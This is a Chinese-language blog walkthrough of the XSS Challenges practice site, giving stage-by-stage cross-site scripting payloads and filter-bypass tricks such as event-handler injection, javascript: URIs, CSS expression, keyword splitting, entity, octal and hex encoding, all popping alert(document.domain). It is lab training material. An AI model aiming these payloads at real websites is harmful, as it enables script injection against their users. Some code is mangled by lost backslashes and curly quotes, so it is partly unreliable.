zoukankan      html  css  js  c++  java
  • XSS练习平台-XSS Challenges

    XSS Challenges
     
    XSS基础不好的建议优先查看
    关于XSS中使用到的html编码 js编码各种场景用法
     
    实在做不出来的时候可以看别人做题的笔记攻略:
     
     
     
    stage#1
     
    <img src=x onerror='alert(document.domain)'>
    </b><script>alert(document.domain)</script><b>
     

    Stage #2

    Hint: close the current tag and add SCRIPT tag...
    "><script>alert(document.domain);</script>
     
    Stage #3 
    使用bp改包把参数p2的值Japan替换为URL编码后的js代码
    <script>alert(document.domain);</script>
    %3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E
     

    Stage #4

    通过抓包发现post请求多出来一个p3参数。原始值是hackme。我们把该参数值改为98765便于在输出的页面内进行搜索。
    找到该参数的数值存放处后构造XSS代码
    "><script>alert(document.domain);</script>
    URL编码后替换掉p3的值
    %22%3e%3cscript%3ealert(document.domain)%3b%3c%2fscript%3e
     

    Stage #5

    我们观察到P1参数的输入框限制了输入数值的长度,可以通过改包对长度限制进行突破
    根据p1的value所在位置构造XSS代码
    "><script>alert(document.domain);</script>
    URL编码后替换掉p1的值
    %22%3e%3cscript%3ealert(document.domain)%3b%3c%2fscript%3e
     

    Stage #6

    感觉和第五关类似结果同样的操作发现<>被进行了转译
    此时我们就需要在不使用<>的情况下构造XSS代码
    我们可以使用 input可以出发的一些时间来实现比如 onmouseover、onmouseenter、onclick、
    " onmouseenter="alert(document.domain)"
    %22+onmouseenter%3d%22alert(document.domain)%22
     

    Stage #7

    使用第六关的payload时发现onmouseenter的属性多包裹了一层""去掉即可
    " onmouseenter=alert(document.domain)
    %22+onmouseenter%3dalert(document.domain)
     

    Stage #8

    payload插入在a标签中使用JavaScript伪协议
    javascript:alert(document.domain);
     
     

    Stage #9

    抓包发现多了一个charset参数,但是该参数值所在的input标签被隐藏
     
    UTF-7编码 需要IE7环境很难实现 以后需要中心关注这一关 未实际完成
    expression属性适用于IE6及以下
    style='x:expression(alert(document.domain))'
     
    热键触发
    accesskey="X" onclick="alert(/waitalone.cn/)"
     
     

    Stage #10

    发现关键字domain被过滤,采用重复穿插双写绕过
    " onmouseenter=alert(document.domdomainain)
    %22+onmouseenter%3dalert(document.domdomainain)
     

    Stage #11

    Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
    根据提示我们知道了 script on事件 style 都将被替换为非空字符串
     
    其他地方遇到这种情况可以使用tab制表(%09)穿插在关键字内。
    %09也就是tab制表符,使用在单个标签之内,会被浏览器`正确`去除,而在跨标签的时候(也就是闭合前面原有标签,使用在构造者构造的新标签的时候)不会被正确去除。也仅仅是%09,其十进制编码和十六进制编码都不会受影响。
    后面测试发现%0a和%0d一样受到影响。
     
    这里使用html5的换行符来代替制表符%09
    "><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> 
    //&NewLine;是html5的换行符
    //&colon;是冒号
     
    " o&NewLine;nmouseenter=alert(document.domain)   无效
    " o%09nmouseenter=alert(document.domain) 无效
     
    通过object data属性新建了一个html插入到原有网页内,无法获取到原有页面的属性值?
    "><object data="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==">
    PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg== 为下一行经过base64编码后的结果
    <script>alert(document.domain);</script>
    可以弹窗但是无法取得想要的结果
     

    Stage #12

    使用如下payload测试发现<>被过滤了
    "><a href=javascript:alert(document.domain)>test</a> 
    ahref=javascript:alert(document.domain)test/a
     
    IE的特性可以使用·来代替 '"引号
    `` onclick=alert(document.domain)
     

    Stage #13

    提示非常明显,通过CSS来弹窗
    style='x:expression(alert(document.domain))'        这样会不停的触发所以还是加一个触发条件比较好
    aa:expression(onmouseover=function(){alert(document.domain)})  
     
    background-image:url("javascript:alert(document.domain)")
    background:url("javascript:alert(document.domain);");
     
    注意!!IE11已不支持expression
     

    Stage #14

     
    发现expression、JavaScript、url等被替换为XXX 那么使用注释等方法把expression关键字分隔开即可
     
    aa:expre/*xss*/ssion(onmouseover=function(){alert(document.domain)})  
     
    绕过正则有4种隔离关键字方式
        
        
    **    /**/
    把字母转码证Unicode编码 例如e转码成 u0065
     
    本关卡 和注释方式可行    
     
     

    Stage #15

    document.write();
     
    我们发现输入的字符串会使用document.write();输出在页面上。这样就可以使用js8进制16进制进行编码来XSS。
     
    payload:
    <script>alert(document.domain)</script> js16进制编码 发现被过滤 替换为\ 为什么不用8进制呢。。 因为把替换为\比较繁琐,不如x替换成\x来的方便。当然啦实际操作的时候使用8进制更加简短,xss的时候字符串的长度很关键
    \x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x64\x6f\x6d\x61\x69\x6e\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e
     

    Stage #16

    Hint: "document.write();" and "s/\x/\\x/ig;"
    js16进制编码根据提示发现 \x 被过滤 被过滤 上次偷懒没有使用的js8进制可以排上用场了。
     
    <script>alert(document.domain)</script>
    \74\163\143\162\151\160\164\76\141\154\145\162\164\50\144\157\143\165\155\145\156\164\56\144\157\155\141\151\156\51\74\57\163\143\162\151\160\164\76
    以后这种情况要专门写一个小程序依次把 1 2 3....7 替换为\1 .... \7
     
     

    Stage #17

     

    Stage #18

     
    %A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
     

    Stage #19

     
     
    Solution: It’s DOMXSS Twitter’s bug (24 Sept.2010) — #!javascript&#58;alert(document.domain)
    Clear Stage: Need to entry the ranking deobfuscating js on this part of the code:
    ty = “”;
    o = unescape(“foejoh”);
    for (var i = 0; i < o.length; i++) {
    var y = o.charCodeAt(i);
    ty += String.fromCharCode(y – 1)
    }
    ty = escape(ty);
    if (ty == “ending”) {
    sj = “6260”;
    alert(“Congratulations!! All Stages Clear!!!”);
    alert(“x52x61x6ex6bx49x6ex67” + sj + “.php”);
    document.location = “x52x61x6ex6bx49x6ex67” + sj + “.php”
    } else {
    document.all(“msg”).innerHTML = “<span id=’h3′>Congratulations!!</span> &nbsp; ” + “Next stage <a href=”” + ty + “”>” + ty + “</a>.”
    }
    so  “x52x61x6ex6bx49x6ex67” + sj + “.php” is RankIng20.php :-)
    Final URL that allow entry directly in the clear stage. http://xss-quiz.int21h.jp/RankIng20.php
  • 相关阅读:
    jquery及相关兼容插件的版本搭配
    jquery IE7 下报错:SCRIPT257: 由于出现错误 80020101 而导致此项操作无法完成
    兼顾php和jquery新版本的checkbox的写法
    jquery.validate动态更改校验规则 【转】
    Google的10大座右铭
    用jQuery屏蔽掉按回车键时提交表单
    sizeof()和strlen()在求字符串长度时的差别
    Matlab使用心得
    C++ 数据类型及相关问题 及输出精度控制
    原生javascript满屏上下滚动
  • 原文地址:https://www.cnblogs.com/enderzhou/p/8038400.html
Copyright © 2011-2022 走看看